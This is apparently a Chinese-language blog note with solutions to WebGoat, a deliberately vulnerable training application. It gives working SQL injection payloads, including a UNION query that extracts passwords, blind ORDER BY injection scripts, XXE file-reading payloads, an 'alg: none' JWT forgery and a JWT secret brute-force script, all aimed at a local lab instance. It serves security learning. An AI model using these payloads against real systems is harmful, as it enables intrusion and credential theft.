[IS] WebGoat 參考解答 Solution
此篇筆記除自己實作外,另外也參考:
- 來玩 webgoat - 資安補漏洞,越補越大洞 @ iThome
- Klarsen.NET: OWASP
- WEB 安全攻防靶場之 WEBGOAT @ 鮮鮮實驗室
本篇更新時間: 2019-04-29
General
HTTP Basics
Q2
輸入你的名字即可:
Q3
在 HTML 中可以找到此頁使用的 HTTP method 和 magic number:
HTTP Proxies
Q6
使用 OWASP 開啟 Chrome 瀏覽器後(設定方式請參考[WebGoat 學習筆記](/Users/pjchen/Projects/Notes/source/_posts/Internet-MIS-IS/[IS] WebGoat 學習筆記.md)),按下送出攔截從 HTTP 送出的請求,然後進行竄改:
操作影片:
<iframe width="570" height="315" src="https://www.youtube.com/embed/-9XgCSZZrdw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Injection Flaws
SQL Injection
Q7
輸入 1' OR '1' = '1
即可:
Q8
輸入 101 OR true
即可:
SQL Injection (Advanced)
Q3-1
輸入 ' or 1=1 —
即可:
Q3-2
使用 union
把他和另一個 table 的資料合併出來顯示。
在 name 的 input 中輸入:
' UNION SELECT userid, user_name, password, 'number', 'type', cookie, 0 FROM user_system_data --
即可看到 dave 的密碼
Q5 未解
SQL Injection (mitigation)
Q8
點選「排序」按鈕時,在 Network panel 會發現向後端打了一道 API
http://localhost:8080/WebGoat/SqlInjection/servers?column=ip
ip
的地方會帶到後端 SQL 中的 ORDER BY
,我們可以透過 ORDER BY 的順序來猜測 IP:
substring(ip,1,1)
指的是 ip 欄位的從第一位數開始取一位的值- 如果猜中了該 ip 的數字,則會以
id
排序,否則會以ip
排序
// 檢查第一碼的 ip 是否等於 1
fetch(`http://localhost:8080/WebGoat/SqlInjection/servers
?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${1}) then id else ip end)`)
.then((response) => response.json())
.then((result) => console.log(`result - ${1}`, result));
可以使用迴圈的方式一次測試出某一位數的 IP 值:
// 以下程式會檢查 ip 的第一碼多少
Array.from({ length: 10 }, (_, k) => k).forEach((item) => {
fetch(
`http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname='webgoat-prd' and substring(ip,1,1)=${item}) then id else ip end)`,
)
.then((response) => response.json())
.then((result) => console.log(`result - ${item}`, result));
});
參考影片
<iframe width="ˊ629" height="315" src="https://www.youtube.com/embed/iaadW6OoP9U" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
XXE
Q3
利用 OWASP 攔截送出的請求,並改成:
<?xml version="1.0" encoding='UTF-8'?>
<!DOCTYPE comment [
<!ELEMENT comment (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///">
]>
<comment> <text>&xxe;</text></comment>
Q4
一樣利用 OWASP 攔截送出的請求,先將 Content-Type
改成 application/xml
,在 body 的部分一樣改成:
<?xml version="1.0" encoding='UTF-8'?>
<!DOCTYPE comment [
<!ELEMENT comment (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///">
]>
<comment> <text>&xxe;</text></comment>
即可:
Q7(未解)
Authentication Flaws
Authentication Bypasses
Q2
一樣透過 OWASP 攔截送出去的請求,並修改 secQuestion0
和 secQuestion1
的欄位名稱:
JWT Token
Q4
利用 OWASP 攔截伺服器回來的回應,並將 access_token
中:
HEADER
改成{"alg": "none"}
PAYLOAD
中的admin
改成true
- 把
signature
的部分拿掉
<iframe width="560" height="315" src="https://www.youtube.com/embed/u8PLKwl4xbw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Q5
利用 Hint 中提供的 google 10000 個英文單字 進行暴力破解(brute-force attack),在這裡我們使用 JS 搭配套件 jsonwebtoken 進行暴力破解:
const commonWords = require('./google-10000-english.json');
const jwt = require('jsonwebtoken');
const token =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM';
// 如果 secret 正確則會直接透過 console.log 顯示,否則進入 catch 不做事
commonWords.forEach((word) => {
try {
var decoded = jwt.verify(token, word);
console.log('valid secret: ', word);
} catch (error) {
// console.log('invalid', word);
}
});
結果顯示 JWT 的 secret key 為 victory
:
取得 secret key 後,把原本的 JWT Token 貼到 jwt.io 後可以看到 payload,將 username
改成 WebGoat
後複製新的 Token 使用即可:
Q7
在 WebGoat 的程式原始碼中,可以看到有一組寫死的帳號密碼在內:
可以直接在 WebGoat 的 Github 專案內搜尋
JWT/refresh
即可找到該檔案。
{
user: 'Jerry',
password: 'bm5nhSkxCXZkKRy4'
}
接著利用這組帳號密碼去執行登入:
// 取得 Jerry 的 refresh_token
fetch('http://localhost:8080/WebGoat/JWT/refresh/login', {
headers: {
'Content-Type': 'application/json; charset=UTF-8',
},
body: JSON.stringify({
user: 'Jerry',
password: 'bm5nhSkxCXZkKRy4',
}),
method: 'POST',
})
.then((response) => response.json())
.then((result) => console.log('result', result));
伺服器會回應一組帶有 access_token
和 refresh_token
的物件:
{
"access_token": "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1DDa6z5_H-SrexH1MYHoIxRyApnOP7NfFonP3rOw1Y5qi0A",
"refresh_token": "BByHeYWGAPOzYpZAEmcm"
}